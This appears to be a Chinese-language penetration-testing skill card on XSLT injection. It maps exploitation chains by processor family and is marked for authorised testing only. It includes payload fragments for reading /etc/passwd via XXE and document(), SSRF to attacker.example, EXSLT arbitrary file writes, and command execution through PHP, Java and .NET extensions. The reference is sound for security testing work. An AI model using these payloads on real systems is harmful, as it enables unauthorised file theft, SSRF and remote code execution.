用途:当攻击者可影响服务端编译执行的 XSLT 时,按处理器家族(Java/.NET/PHP/libxslt)映射并串联利用链。仅限授权测试,多数载荷具破坏性。
主要能力:
- 快速定位:查找 xslt、stylesheet、transform、template、SOAP 样式表、报表生成器、XML→HTML 转换器等入口;注入唯一命名空间或 xsl:value-of select="'marker'" 探测反射。
- 指纹识别:用 system-property('xsl:vendor')、'xsl:version'、'xsl:vendor-url' 判断引擎(Xalan、Saxon、libxslt、MSXML/.NET)。
- XXE:XSLT 1.0 允许 DTD 实体,可读取 file:///etc/passwd 等;加固解析器会禁用外部 DTD。
- document() 文件读取与 SSRF:document('/etc/passwd')、document('file:///c:/windows/win.ini')、document('http://attacker.example/ssrf'),可配合报错或时序盲测。
- EXSLT 写文件:exslt:document href 可任意写文件,常导致 RCE。
- PHP:php:function('readfile',...)、scandir 等,需 registerPHPFunctions 暴露;历史 preg_replace /e 链仅适用于旧版 PHP。
- Java:Xalan/Saxon 扩展函数可调用 Runtime.exec;扩展默认常禁用。
- .NET:msxsl:script 允许时可用 C# Process.Start 执行命令;安全配置通常禁用。
使用方式:先用无害 marker 探测,再按家族升级;无反射时尝试报错、OOB、时序通道。工具上可用 Burp Suite、OWASP ZAP 重放,配合 Collaborator 等回调服务器;建议在本地用相同引擎版本复现。
限制:无通用扫描器,利用高度依赖处理器与配置;加固环境常禁用外部 DTD、扩展函数与脚本,失败不代表其他向量无效。若输入为通用 XML 解析,可交叉参考 xxe-xml-external-entity;关注出站请求时参考 ssrf-server-side-request-forgery。